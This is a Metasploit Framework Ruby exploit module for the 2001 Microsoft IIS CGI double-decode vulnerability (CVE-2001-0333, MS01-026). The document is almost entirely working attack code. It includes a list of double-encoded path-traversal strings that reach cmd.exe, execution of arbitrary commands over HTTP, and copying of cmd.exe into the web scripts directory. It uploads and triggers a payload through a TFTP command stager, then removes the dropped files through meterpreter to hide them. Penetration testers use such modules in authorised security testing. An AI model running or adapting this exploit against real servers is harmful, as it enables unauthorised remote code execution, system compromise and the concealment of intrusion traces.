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# $Id: ms01_026_dbldecode.rb 11513 2011-01-08 00:25:44Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'rex/proto/tftp'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
# NOTE: This cannot be an HttpClient module since the response from the server
# is not a valid HttpResponse
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStagerTFTP
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft IIS/PWS CGI Filename Double Decode Command Execution',
'Description'=> %q{
This module will execute an arbitrary payload on a Microsoft IIS installation
that is vulnerable to the CGI double-decode vulnerability of 2001.
NOTE: This module will leave a metasploit payload in the IIS scripts directory.
},
'Author' => [ 'jduck' ],
'License'=> MSF_LICENSE,
'Version'=> '$Revision: 11513 $',
'References' =>
[
[ 'CVE', '2001-0333' ],
[ 'OSVDB', '556' ],
[ 'BID', '2708' ],
[ 'MSB', 'MS01-026' ],
[ 'URL', 'http://marc.info/?l=bugtraq&m=98992056521300&w=2' ]
],
'Platform' => 'win',
'Targets'=>
[
[ 'Automatic', { } ]
],
'DefaultTarget'=> 0,
'DisclosureDate' => 'May 15 2001'
))
register_options(
[
Opt::RPORT(80),
OptBool.new('VERBOSE', [ false, 'Enable verbose output', false ]),
OptString.new('CMD', [ false, 'Execute this command instead of using command stager', nil ])
], self.class)
framework.events.add_exploit_subscriber(self)
end
def dotdotslash
possibilities = [
"..%255c",
"..%%35c",
"..%%35%63",
"..%25%35%63",
".%252e/",
"%252e./",
"%%32%65./",
".%%32%65/",
".%25%32%65/",
"%25%32%65./"
]
possibilities[rand(possibilities.length)]
end
def mini_http_request(opts, timeout=5)
connect
req = ''
req << opts['method']
req << ' '
req << opts['uri']
req << ' '
req << "HTTP/1.0\r\n"
req << "Host: #{datastore['RHOST']}\r\n"
req << "\r\n"
sock.put(req)
# This isn't exactly awesome, but it seems to work..
begin
headers = sock.get_once(-1, timeout)
body = sock.get_once(-1, timeout)
rescue ::EOFError
# nothing
end
if (datastore['DEBUG'])
print_status("Headers:\n" + headers.inspect)
print_status("Body:\n" + body.inspect)
end
disconnect
[headers, body]
end
def check
res = execute_command("dir")
if (res.kind_of?(Array))
body = res[1]
if (body and body =~ /Directory of /)
return Exploit::CheckCode::Vulnerable
end
end
Exploit::CheckCode::Safe
end
#
# NOTE: the command executes regardless of whether or not
# a valid response is returned...
#
def execute_command(cmd, opts = {})
# Don't try the start command...
# Using the "start" method doesn't seem to make iis very happy :(
return [nil,nil] if cmd =~ /^start [a-zA-Z]+\.exe$/
print_status("Executing command: #{cmd}")
uri = '/scripts/'
exe = opts[:cgifname]
if (not exe)
uri << dotdotslash
uri << dotdotslash
uri << 'winnt/system32/cmd.exe'
else
uri << exe
end
uri << '?/x+/c+'
uri << Rex::Text.uri_encode(cmd)
if (datastore['VERBOSE'])
print_status("Attemping to execute: #{uri}")
end
mini_http_request({
'uri' => uri,
'method'=> 'GET',
}, 20)
end
def exploit
# first copy the file
exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe"
print_status("Copying cmd.exe to the web root as \"#{exe_fname}\"...")
# NOTE: this assumes %SystemRoot% on the same drive as the web scripts directory
# However, it using %SystemRoot% doesn't seem to work :(
res = execute_command("copy \\winnt\\system32\\cmd.exe #{exe_fname}")
if (datastore['CMD'])
res = execute_command(datastore['CMD'], { :cgifname => exe_fname })
if (res[0])
print_status("Command output:\n" + res[0])
else
print_error("No output received")
end
res = execute_command("del #{exe_fname}")
return
end
# Use the CMD stager to get a payload running
execute_cmdstager({ :temp => '.', :linemax => 1400, :cgifname => exe_fname })
# Save these file names for later deletion
@exe_cmd_copy = exe_fname
@exe_payload = payload_exe
# Just for good measure, we'll make a quick, direct request for the payload
# Using the "start" method doesn't seem to make iis very happy :(
print_status("Triggering the payload via a direct request...")
mini_http_request({ 'uri' => '/scripts/' + payload_exe, 'method' => 'GET' }, 1)
handler
end
#
# The following handles deleting the copied cmd.exe and payload exe!
#
def on_new_session(client)
if client.type != "meterpreter"
print_error("NOTE: you must use a meterpreter payload in order to automatically cleanup.")
print_error("The copied exe and the payload exe must be removed manually.")
return
end
return if not @exe_cmd_copy
# stdapi must be loaded before we can use fs.file
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
# Delete the copied CMD.exe
print_status("Deleting copy of CMD.exe \"#{@exe_cmd_copy}\" ...")
client.fs.file.rm(@exe_cmd_copy)
# Migrate sothat we can delete the payload exe
client.console.run_single("run migrate -f")
# Delete the payload exe
return if not @exe_payload
delete_me_too = "C:\\inetpub\\scripts\\" + @exe_payload
print_status("Changing permissions on #{delete_me_too} ...")
cmd = "C:\\winnt\\system32\\attrib.exe -r -h -s " + delete_me_too
client.sys.process.execute(cmd, nil, {'Hidden' => true })
print_status("Deleting #{delete_me_too} ...")
begin
client.fs.file.rm(delete_me_too)
rescue ::Exception => e
print_error("Exception: #{e.inspect}")
end
end
def cleanup
framework.events.remove_exploit_subscriber(self)
end
end
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